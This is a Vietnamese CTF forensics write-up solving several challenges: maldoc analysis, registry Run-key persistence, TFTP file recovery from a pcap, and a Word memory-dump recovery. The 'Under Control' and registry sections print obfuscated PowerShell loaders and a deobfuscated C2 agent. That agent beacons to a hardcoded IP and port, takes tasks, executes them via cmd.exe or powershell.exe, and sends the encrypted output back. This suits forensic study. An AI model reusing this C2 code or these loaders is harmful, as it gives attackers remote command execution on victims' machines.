## Forensics ### Tin Học Văn Phòng : #### Des : ![](https://hackmd.io/_uploads/Sk-0FJtt3.png) #### Sol : + Ở đây đề cho ta 1 file doc và kèm theo mô tả đây là 1 tải liệu độc hại. + Mình dùng 1 tool để phân tích nó là [olevba](https://github.com/decalage2/oletools/wiki/olevba) ![](https://hackmd.io/_uploads/SyIzjytYn.png) + Và mình nhận được flag : `CHH{If_u_w4nt_1_will_aft3rnull_u}` ### Sổ Đăng Ký : #### Des : ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/b5b1689f-2cd9-4e0f-86c4-4abe9cbbd0db) #### Sol : + Đề cho 1 file NTUSER.DAT, mình xem nó thực chất là file gì bằng lệnh : `$file NTUSER.DAT` ![](https://hackmd.io/_uploads/H1Efyxttn.png) => Đây là 1 file Windows registry + Mình dùng Registry Viewer để phân tích nó + Sau một lúc tìm kiếm thì mình biết author sử dụng đường dẫn mà Malware persistant hay được đưa vào máy chủ nạn nhân trong registy key là : `Software\Microsoft\Windows\CurrentVersion\Run` ![](https://hackmd.io/_uploads/S1ftleYYh.png) + Và mình tìm được mã pw trên win này : ``` "C:\Windows\System32\WindowsPowerShell\v10\powershellexe" "(neW-obJEct ioCOMprEssIondEFlATesTReAm( [sySTemIOmemorYSTREam] [coNVeRT]::FRoMBAse64stRInG( 'TVFva4JAGP8qh7hxx/IwzbaSBZtsKwiLGexFhJg+pMs09AmL6rvP03S9uoe739/nZD+OIEHySmwolNn6F3wkzilH2HEbkDupvwXM+cKaWxWSSt2Bxrv9F64ZOteepU5vYOjMlHPMwNuVQnItyb8AneqOMnO5PiEsVytZnHkJUjnvG4ZuXB7O6tUswigGSuVI0Gsh/g1eQGt8h6gdUo98CskGQ8aIkgBR2dmUAw+9kkfvCiiL0x5sbwdNlQUckb851mTykfhpECUbdstXjo2LMIlEE0iCtedvhWgER1I7aKPHLrmQ2QGVmkbuoFoVvOE9Eckaj8+26vbcTeomqptjL3OLUM/0q1Q+030RMD73MBTYEZFuSmUMYbpEERduSVfDYZW8SvwuktJ/33bx/CeLEGirU7Zp52ZpLfYzPuQhZVez+SsrTnOg7A8='), [SYSTEMiOComPReSSionCoMPrEsSIonmODe]::DeCOmpresS)|FOREAcH-object{ neW-obJEct iostreAMrEadeR( $_,[sysTemTExtEnCoDING]::asCIi )})reaDToEnD()|inVOKe-exprEsSIon" ``` + Và mình ném đoạn mã base64 lên [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Raw_Inflate(0,0,'Adaptive',false,false)&input=VFZGdmE0SkFHUDhxaDdoeHgvSXd6YmFTQlp0c0t3aUxHZXhGaEpnK3BNczA5QW1MNnJ2UDAzUzl1b2U3MzkvblpEK09JRUh5U213b2xObjZGM3dremlsSDJIRWJrRHVwdndYTStjS2FXeFdTU3QyQnhydjlGNjRaT3RlZXBVNXZZT2pNbEhQTXdOdVZRbkl0eWI4QW5lcU9Nbk81UGlFc1Z5dFpuSGtKVWpudkc0WnVYQjdPNnRVc3dpZ0dTdVZJMEdzaC9nMWVRR3Q4aDZnZFVvOThDc2tHUThhSWtnQlIyZG1VQXcrOWtrZnZDaWlMMHg1c2J3ZE5sUVVja2I4NTFtVHlrZmhwRUNVYmRzdFhqbzJMTUlsRUUwaUN0ZWR2aFdnRVIxSTdhS1BITHJtUTJRR1Zta2J1b0ZvVnZPRTlFY2thajgrMjZ2YmNUZW9tcXB0akwzT0xVTS8wcTFRKzAzMFJNRDczTUJUWUVaRnVTbVVNWWJwRUVSZHVTVmZEWVpXOFN2d3VrdEovMzNieC9DZUxFR2lyVTdacDUyWnBMZll6UHVRaFpWZXorU3NyVG5PZzdBOD0) để giải mã : ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/6137b9d5-66a9-40eb-afdb-e804fcf3e364) + Và mình nhận được flag : `CHH{N0_4_go_n0_st4r_wh3r3}` ### TRIVIAL FTP #### Des : ![](https://hackmd.io/_uploads/HJYj5GFKh.png) #### Sol : + Đề cung cấp cho ta 1 file pcap => dùng wireshark để phân tích nó + Mở udp stream 26 và xem data của nó thấy header của nó là 1 file PDF. + Đọc các packet của nó và suy ra được các data mà ta cần extract nằm ở "udp.dstport == 58813" + Dùng tshark để lấy các data bằng lệnh : `tshark -r TrivialFTP.pcapng -Y "udp.dstport == 58813" -T fields -e "data.data" >5.txt` + Mình ném lên cyberchef để decode và lưu file về mở xem nhưng vẫn bị lỗi. + Sau đó mình nhận thấy nó bị dư 4 bytes đầu là 00 03 00 + 1 bytes kế tiếp đối với từng packet trong đó => mình code xóa hết những bytes dư đó đi : ``` def remove_bytes(data, target_bytes): result = bytearray() i = 0 while i < len(data): if data[i:i+len(target_bytes)] == target_bytes: i += len(target_bytes) + 1 else: result.append(data[i]) i += 1 return bytes(result) # Read file contents file_path = 'download (2).pdf' with open(file_path, 'rb') as file: file_contents = file.read() target_bytes = b'\x00\x03\x00' # Remove target bytes result = remove_bytes(file_contents, target_bytes) # Save the updated contents back to the file with open(file_path, 'wb') as file: file.write(result) print("File 'download.pdf' has been updated to remove the target bytes.") ``` + Nhưng vẫn lỗi @@ + Đọc kỹ đề bài thì mình nhận TRIVIAL FTP là là một Giao thức truyền tệp có bước khóa đơn giản cho phép khách hàng lấy tệp từ hoặc đặt tệp lên máy chủ từ xa. + TFTP có 3 chế độ : ``` Netascii, octet và mail. Netascii là một dạng ASCII đã sửa đổi, được định nghĩa trong RFC 764. Nó bao gồm phần mở rộng 8-bit của không gian ký tự ASCII 7-bit từ 0x20 đến 0x7F (các ký tự in được và khoảng trắng) và tám ký tự điều khiển. Các ký tự điều khiển được phép bao gồm null (0x00), xuống dòng (LF, 0x0A) và xuống dòng (CR, 0x0D). Netascii cũng yêu cầu điểm đánh dấu cuối dòng trên máy chủ phải được dịch sang cặp ký tự CR LF để truyền và bất kỳ CR nào cũng phải được theo sau bởi LF hoặc null. Octet cho phép truyền các byte 8 bit thô tùy ý, với tệp nhận được có kết quả là byte trên mỗi byte giống hệt với tệp đã gửi. Chính xác hơn, nếu một máy chủ nhận được một tệp octet và sau đó trả lại nó, thì tệp được trả lại phải giống với tệp gốc. [3] Chế độ truyền thư sử dụng truyền Netascii, nhưng tệp được gửi đến người nhận email bằng cách chỉ định địa chỉ email của người nhận đó làm tên tệp. RFC 1350 đã tuyên bố chế độ chuyển giao này đã lỗi thời. ``` + Ở bài này mình nhận thấy author sử dụng chế độ netacsii : ``` Quy tắc của nó là : 1. Chuỗi mã NetASCII: 0D0A => Chuyển đổi thành mã ASCII: 0A (LF) 2. Chuỗi mã NetASCII: 0D00 => Chuyển đổi thành mã ASCII: 0D (CR) ``` Mình lên cyberchef để replace 2 chuối đó và cuối cùng mình đã mở đc file PDF. ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/9a442439-1d23-4563-b8e9-34c753b01795) ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/239361cd-6eb0-4b92-bb62-e012b01aebfc) => flag : `CHH{FTP_4nd_TFTP_4r3_b0th_un$af3}` ### Báo Cáo Dang Dở #### Des : ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/9f9dde0a-d620-4a84-9111-156718000695) #### Sol : + Đề cung cấp cho chúng ta 1 file mem : ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/32963adf-59ef-4f8a-9b4a-8ac89db93c85) + Đây là 1 file mem dump hoàn chỉnh nên mình dùng vol3 để phân tích nó. + Đầu tiên mình dùng plugin pslist để phân tích các tiến trình của nó. ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/85ce4786-ccc7-41d7-9966-d3d875ca9097) + Theo mô tả của đề bài thì Hòa đang viết báo cáo dang dở nhưng chưa kịp lưu => phát hiện phầm mêm mà a ấy dùng để viết báo cáo là WINWORD + Oke bây giờ mình phân tichs tiến trình này. + Dùng plugin handles để xem các tệp đang mở bởi tiến trình winword.exe + Nhận thấy 1 tệp nghi ngờ là Document1.asd ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/d3e9632a-d36d-4d39-8ebb-0899b58bd5cc) `AutoRecovery là một tính năng trong Microsoft Word cho phép bạn khôi phục lại các tài liệu đã lưu tự động nếu bạn gặp sự cố như máy tính bị treo, Word bị đóng đột ngột hoặc mất điện. Khi AutoRecovery được bật, Word sẽ tự động lưu các phiên bản tài liệu của bạn trong khoảng thời gian nhất định. Mặc định, Word lưu tài liệu AutoRecovery mỗi 10 phút.` + Tới đây mình sẽ dump file này ra ngoài và xem nó. `$python3 vol.py -f MEMORY.DMP windows.dumpfiles ‑‑virtaddr 0xfa80041e2070` ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/cf355a9d-58ef-4aa0-9229-78237241e473) + Đọc nội dung của file thì mình thấy nó có chưa nhiều file khác trong đó. ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/0ac9141a-3257-422d-bc67-b7fecc84e419) + => Binwalk file ra và mở file zip `5211` bằng 7zip vì file bị compress => theo đường dẫn `word/media/image2.png` mình nhận được flag. ![image](https://github.com/KMANVK/cookiehanhoan_ss2_ctf/assets/94669750/08e2cc66-b7e5-43d5-8402-392f29f50b89) ### Under Control #### Des : ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/78209001-dc8c-467f-b279-68173265d22b) #### Sol : + Đề cung cấp ta 1 file pcap => mở wireshark lên phân tích + Follow tcp.stream eq 0 thì mình nhận thấy 1 file Microsoft Excel đáng nghi ngờ và nó có liên quan đến VBA ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/25379b5b-af46-4a7a-a146-245c858f9f35) + Mình lấy file ra ngoài bằng Export Objects http => mình ném lên Viruss Total để phân tích, còn 1 cách nữa là cách chính cho bài này là dùng olevba để phân tích sau đó nhận thấy phần mở đầu của nó chính là đoạn mã VBA dùng tool này sẽ nhận được đoạn mã hoàn chỉnh lúc đầu https://isc.sans.edu/diary/Maldoc%3A+non-ASCII+VBA+Identifiers/28866 + Đọc file vba ở đây : https://github.com/KMANVK/cookiehanhoan_ss2_ctf/blob/main/1.vbs + Sau đó từ function VBA đó mình code python để giải mã dòng string kia về 1 url (dấu hiệu ://) ``` def decode_vba_string(encoded_string): c = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂĂÄÅ̉ÓÔƠÖÙÛÜàáâăä娶§Ú¥" d = "ăXL1lYU~Ùä,Ca²ZfĂ@dO-cq³áƠsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(̉Sw|T*Â$EåyhiÚx65Dà¿2ÁÔ" decoded_string = "" for char in encoded_string: if char in c: index = c.index(char) decoded_string += d[index] else: decoded_string += char return decoded_string decoded_code = decode_vba_string("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eăăoăä§k@_@ă0ä6_E3-ăY036-@@koo/_Àmb6m@§~Bb@") print(decoded_code) ``` + => Nhận được URL : ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/c736342b-86da-48b2-846d-17ee9b18ba66) + Nhưng ko có thời gian nên mình đành viết cách kia + Tiếp tục với cách lỏ kia =)) + Nhờ tính năng Relations mình tìm được 1 URL dẫn đến 1 file ps1. ![image](https://github.com/KMANVK/Kosma_Challenges/assets/94669750/4c80e9f7-f367-4920-aabd-7005e078db63) ``` https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1 ``` ``` . ((VaRIablE '*MdR*').NAmE[3,11,2]-JOIn'') (nEW-OBJeCT IO.cOmPrEsSion.DeflAteSTREam( [sYStEm.IO.MeMOrYSTreAM][CoNVeRt]::frOMBase64sTriNG('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' ) , [iO.COmpreSSIOn.cOMPrEssionmode]::decOMpReSS )|% {nEW-OBJeCT Io.StREamreadEr($_,[TEXt.enCoDInG]::AsciI )} ).reAdToENd() ``` + Nhận thấy đoạn mã này đã bị obfuscate => dùng pwdecode để deobfuscate : + Và mình nhận được đoạn plaintext như sau : ``` ${8rT3WA} = [tyPe]'sySTEm.seCUrItY.cryPTOGRaphY.CiphERMOde' ;SV '72j5O' ( [TYpe]'sYstem.seCuriTY.cRYptoGRapHY.paDDingmOde' ) ; ${XNfD}=[tyPe]'System.cONVErT' ; ${HLvW1} = [tYPe]'SYStEM.tEXt.EnCOdiNG'; SeT-iTem 'vARIabLE:92y7' ( [Type]'SysteM.NEt.dnS') ; ${UJXRc}=[tyPE]'StrinG' ;function CrEATe-AeSmanAGeDoBJeCt(${vxZTmff}, ${5TMRWpLUy}) { ${AJuJVRAZ99} = New-Object 'System.Security.Cryptography.AesManaged' ${AJUjvrAZ99}.Mode = ( gEt-vARIAblE ("8rt3Wa") -Value )::"cBc" ${aJujVRAZ99}.PAddInG = ( Dir 'vARIable:72j5o' ).VALUe::"zeRos" ${AJUJvrAz99}.BlOckSizE = 128 ${AjuJvRAz99}.keysIze = 256 if (${5TMRWPluy}) { if (${5TmRWpLuy}.getType.iNVOke().nAME -eq 'String') { ${ajUjvRaZ99}.Iv = (dir 'vaRIaBle:xNFd').vAlUe::'FromBase64String'.InVOKe(${5TMRWPlUy}) } else { ${ajUjVraZ99}.IV = ${5tmRwPLUy} } } if (${VxZtMFF}) { if (${VXzTmfF}.getType.INvoKe().nAME -eq 'String') { ${ajUjVraZ99}.Key = ( LS 'VariAble:XNFD' ).vAluE::'FromBase64String'.invOKe(${vxzTmFF}) } else { ${AjUJVrAZ99}.key = ${vXzTmff} } } ${aJUjvRAZ99} } function eNCRYpT(${VxzTMFf}, ${ROFPdqRF99}) { ${ByTES} = ( varIable 'hlvW1' ).vALUE::"uTf8".GetBytes.INVokE(${rOFpdQRF99}) ${ajujVRAZ99} = Create-AesManagedObject ${VXZtMFf} ${qDIqLGaQ99} = ${aJujVRAZ99}.CreateEncryptor.inVoKe() ${lwihYmIF99} = ${QdiqLgaq99}.TransformFinalBlock.iNvOKe(${byTeS}, 0, ${byTes}.LeNgTh); [byte[]] ${fJAxUWQN99} = ${AJujvRAz99}.Iv + ${lWiHYmiF99} ${ajUJVRAZ99}.Dispose.iNVOKE() ${xNFd}::"tOBase64STRiNG".iNvoke(${FjAXUWqN99}) } function deCRyPT(${VXztmFF}, ${bKJrxQCf99}) { ${bYTEs} = (vARiable 'xnfd' ).ValuE::'FromBase64String'.InVOKE(${BkjRxqcF99}) ${5tMRWpLuY} = ${BYTes}[0..15] ${aJuJVraz99} = Create-AesManagedObject ${VxZTmFF} ${5TMRwpLUY} ${MNDmWYnB99} = ${AJUjvRAz99}.CreateDecryptor.InVoke(); ${AhtLMYhl99} = ${MNDmWynB99}.TransformFinalBlock.iNvokE(${bYTES}, 16, ${byTeS}.lENgTH - 16); ${AJUjVRAZ99}.Dispose.INVOKE() ${HLVW1}::"uTF8".GETStriNg(${AhtLmYhl99}).TRIM([char]0) } function ShELL(${DfJz1co}, ${yo8xm5}){ ${CwzVYVJ} = New-Object 'System.Diagnostics.ProcessStartInfo' ${CwZVyVj}.FIlename = ${DFjZ1co} ${CWzvYvj}.reDIRecTsTAnDaRdERrOR = ${TRue} ${cwZVYVJ}.ReDIREcTsTANdarDoUTPUT = ${tRUe} ${CWZvyVJ}.USEshELleXeCUTe = ${FALsE} ${cwzvyVJ}.aRgUmENtS = ${yO8xm5} ${p} = New-Object 'System.Diagnostics.Process' ${P}.sTArTiNFO = ${CWzvYVj} ${p}.Start.INvoKE() | Out-Null ${P}.WaitForExit.invoKE() ${BHnxNUrW99} = ${p}.staNdardOuTpUT.ReadToEnd.INVOkE() ${NmWkjOAB99} = ${p}.StANdArdeRrOR.ReadToEnd.Invoke() ${kCNjcQdL} = ('VALID '+"$BhnXnUrW99n$nmWKJOAb99") ${KcnJcQDl} } ${FZvyCr} = '128.199.207.220' ${twFTrI} = '7331' ${VxzTmff} = 'd/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=' ${n} = 3 ${Cwj2TWh} = "" ${yCRUTw} = ${92Y7}::'GetHostName'.inVoKE() ${FNFFGXDzj} = "p" ${DFctDFM} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/reg") ${kVQBXbuR} = @{ 'name' = "$YCRUTw" 'type' = "$fNFFGXDZJ" } ${CWj2TWh} = (Invoke-WebRequest -UseBasicParsing -Uri ${dFctDFM} -Body ${kVqBxbUr} -Method 'POST').coNTENT ${TvYMeYrR99} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${iJfySE2} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") for (;;){ ${MA04XMgY} = (Invoke-WebRequest -UseBasicParsing -Uri ${IJFYSE2} -Method 'GET').cONTeNt if (-Not ${UJXRc}::'IsNullOrEmpty'.INvOKe(${MA04XmGy})){ ${mA04XMgY} = Decrypt ${VXZTmff} ${Ma04XMgY} ${mA04XMgY} = ${ma04XMgy}.split.INvokE() ${FLAG} = ${MA04xmgY}[0] if (${FlAg} -eq 'VALID'){ ${WB1SWYoje} = ${MA04XMgY}[1] ${yO8XM5S} = ${Ma04XMgY}[2..${MA04xmgY}.LeNgTH] if (${wb1sWyoJe} -eq 'shell'){ ${F} = 'cmd.exe' ${yO8XM5} = "/c " foreach (${a} in ${yo8xM5s}){ ${Yo8xm5} += ${a} + " " } ${KcNJCQdL} = shell ${f} ${yo8xM5} ${kCnjCQDL} = Encrypt ${VxztMFF} ${kcNjcqdl} ${kvqbXBUr} = @{'result' = "$KcnJCQDl"} Invoke-WebRequest -UseBasicParsing -Uri ${tVyMEyRR99} -Body ${kVQbXbur} -Method 'POST' } elseif (${Wb1SwYOJe} -eq 'powershell'){ ${f} = 'powershell.exe' ${yO8Xm5} = "/c " foreach (${a} in ${Yo8xM5s}){ ${YO8xm5} += ${a} + " " } ${kcNjcqdL} = shell ${F} ${yO8XM5} ${kcnjCQDL} = Encrypt ${vXZTmfF} ${KCNjcqDl} ${KVqbxBUr} = @{'result' = "$KcnJCQDl"} Invoke-WebRequest -UseBasicParsing -Uri ${tvyMEYRR99} -Body ${kVqBXbUr} -Method 'POST' } elseif (${wb1swYOJe} -eq 'sleep'){ ${n} = [int]${yO8Xm5S}[0] ${kVQBXbur} = @{'result' = ""} Invoke-WebRequest -UseBasicParsing -Uri ${tVYmeyrR99} -Body ${KvQBXBur} -Method 'POST' } elseif (${wb1sWyojE} -eq 'rename'){ ${cwJ2tWh} = ${YO8Xm5S}[0] ${TVYmeyRr99} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh") ${ijFYsE2} = ('http:' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh") ${kVQbXbUr} = @{'result' = 